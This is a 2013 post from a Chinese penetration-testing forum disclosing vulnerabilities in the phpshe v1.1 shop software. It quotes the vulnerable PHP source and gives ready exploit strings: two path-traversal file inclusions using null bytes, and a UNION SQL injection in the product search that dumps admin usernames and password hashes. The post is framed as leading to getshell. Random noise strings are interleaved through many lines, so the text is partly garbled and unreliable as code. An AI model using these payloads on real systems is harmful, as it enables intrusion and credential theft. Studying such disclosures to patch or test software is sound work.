中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
( T& }( Y4 Q! _  W$ g# ]0 e/* Phpshe v1.1 Vulnerability
" f. X( o; Y0 ?+ K( b: k/* ========================
- P% D# k3 O/ g0 |, h" o/* By: : Kn1f3
0 S, l8 ]6 f( c& l' p/* E-Mail : 681796@qq.com7 L0 o. p  O6 z! I6 @
/*******************************************************/
" Q( }9 ]3 t. r" Q- r8 K- ?0×00 整体大概参数传输0 p* Q  O' W: x9 l; L( C' A
9 ^. N+ g0 g/ P
3 @; S. b/ m2 i4 F+ W

. T5 h+ \" n: q8 {4 g$ L//common.php& }) o( o; B9 A% L, e( @0 Z. d
if (get_magic_quotes_gpc()) {
, P3 O& ~: n5 ?- y2 `!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');7 Q: p5 c- p1 h: p* P7 F
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');+ r0 m) _+ a8 }( t4 p* f
}
" B' c* U- {! }4 f" velse {
) C7 k" \/ n  g' K!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
$ O# r% q- H6 g* k- X!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
- D, }! o" f% S" b9 e}
, e5 o& X# {+ B. V2 H5 t: L$ `  S9 ysession_start();5 s6 p5 q! v! F" a- l3 S: d2 D
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');" n1 l9 N, L( u8 T8 x% R
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
. {7 o: Y6 x) L. @
0 ~# B4 U+ |- y- n7 @  n) D7 |0×01 包含漏洞
0 E: y* s  F8 f+ c9 h
3 ?! r6 n/ ]: t/ e: A9 i
; ?# P7 b2 `6 G" e//首页文件. L0 i7 a, U& U
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);% x: d7 H4 z! a' B! s
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
) F. q* j3 E( ~3 K  s& X3 rpe_result();
, c' z4 r8 N  F4 {6 Q?>
: s- k$ r8 L/ |! y4 t; e* y3 x//common 文件 第15行开始
4 [# R7 j, ?$ F9 G; v2 \url路由配置
2 D, N/ t# p. h. R+ r2 X7 L$module = $mod = $act = 'index';" j, G% v" J3 z) U; F
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);6 L" B5 W6 J" v7 C
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
( F9 O' h9 q- p. q$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* C5 \: [6 r6 C//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00( n+ b3 W$ f: ^


* ^( P) T( H1 v8 A . B/ w: W3 Q3 E' f6 b7 E
0×02 搜索注入  ~  Z/ u$ Q# J4 X5 H$ T' W( R
* D* Y6 W; ~$ X
<code id="code2">

//product.php文件
+ T" T8 r$ {# m" P1 d' E$ Icase 'list':) h8 P1 L. p' _$ E9 x& S! ^
$category_id = intval($id);% ~( @1 ~7 E" }" l3 h" ~# D6 Q
$info = $db->pe_select('category', array('category_id'=>$category_id));1 U6 D$ c/ h7 K( y/ z) }
//搜索" T$ g  A- n' L  W7 `$ N/ l
$sqlwhere = " and `product_state` = 1";
, `+ R8 x/ L. I3 v$ h, c& P1 Upe_lead('hook/category.hook.php');
4 j, J# Z* u8 K% w4 Hif ($category_id) {( a7 q4 B) v) r* j! ?9 G- M. S& J
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
) O9 U+ f: l9 z, h+ L}, u) T" Y* i( O. p: d8 N: h
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤- F$ D: x3 m" C! s  s7 a( r
if ($_g_orderby) {
+ B7 L. T: s" T, l/ _) t$orderby = explode('_', $_g_orderby);
$ I8 z' e: t' H7 u" P$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
2 P# r8 M' Y% n* v: N4 K}# j8 b) ~4 O' b0 `1 B8 r# f
else {, W% K7 z- ?4 A; s
$sqlwhere .= " order by `product_id` desc";
& R) G8 r9 v: [7 x}
' g2 H$ X; j( T0 v$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));/ f* Z4 L0 \. ]; u' X6 }$ H
//热卖排行
# B8 @9 |3 v* L+ y$product_hotlist = product_hotlist();
( \8 ]+ k. r3 {3 O( G//当前路径
9 Q0 q3 ^/ ^6 l- m8 H, g$nowpath = category_path($category_id);% R! j0 X# D/ Q( T. u- y' A
$seo = pe_seo($info['category_name']);
5 ]2 B5 Q4 E; A, @. i' Yinclude(pe_tpl('product_list.html'));
# a9 d; I/ u8 T/ [$ O//跟进selectall函数库
: f2 w2 Z6 `5 B, c% dpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
5 h, N0 x$ t* e, P) F. y$ C{9 B& M5 n+ K' Q7 e8 W
//处理条件语句
( f3 G. ?# x  K$sqlwhere = $this->_dowhere($where);% G2 E3 r- p5 z8 }; h
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);, O# R" ?9 @- M3 I) \5 a
}
% W& J( a( R( y) o//exp" T# `4 ]. F' D3 U( A
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='17 B/ ^4 s9 \% J5 ^" z+ x& ~. m" S

</code>" ?, z# h+ n' Z) x, C
" m/ g  k- b! i
0×03 包含漏洞2
7 `, J) _. a/ ^  n7 _+ x( ~* \
! R& R6 l# Z1 w3 g<code id="code3">

//order.php

case 'pay':

9 d7 z6 v& A- G) ^+ D+ A
$order_id = pe_dbhold($_g_id);


2 R  r1 h6 g8 K& ]/ S4 t$cache_payway = cache::get('payway');

: k5 d% O$ g0 ]2 K% W. w( V$ B8 \3 ?
foreach($cache_payway as $k => $v) {


% |2 x7 @/ |3 n6 }0 J$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

+ Q: I1 |. T3 J! z" l9 G$ m. S
if ($k == 'bank') {

# @: ^( v; z. @8 m' P
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

! v+ N& \6 @7 ]1 b# Q: G8 Z
}


8 m- q" ]* |9 B9 M}

4 t, _. d0 n' w6 q3 k
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

0 s- m" Y" n# `! I. G. E. g
!$order['order_id'] && pe_error('订单号错误...');


( R' u7 `# I. h$ i: F* Eif (isset($_p_pesubmit)) {


; Z) Z3 m  T2 o) z# v% ^if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


6 ~' Y) G& F( ^7 c1 P$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


& j  e0 [. n7 mforeach ($info_list as $v) {


, p* ]7 i% B3 `& F7 M+ ~) e5 y$order['order_name'] .= "{$v['product_name']};";
# q' n/ G4 ^! J7 T9 q

0 `+ w% e0 I) }6 T# T8 e- x/ l
}

4 B+ E0 @5 z8 g/ Q  E1 U
echo '正在为您连接支付网站，请稍后...';

3 \% x' ]5 E: Y# v9 c
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


: W2 F1 Q6 P0 ^. B}//当一切准备好的时候就可以进行"鸡肋包含了"


( \) a' d; D0 X( |* K) y9 ~! |else {

  G3 v4 s, H. C# j$ a
pe_error('支付错误...');

9 U9 H8 J8 s, ^! w
}


, z6 n3 {% T7 X8 H% R}

' C) }) B' s  D
$seo = pe_seo('选择支付方式');


! I+ T% T& V) c9 W4 Jinclude(pe_tpl('order_pay.html'));

" K9 d, ~0 P) q* a6 O8 [% A
break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
2 P2 L9 P1 w$ ?8 {0 ~4 O  ^' a



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2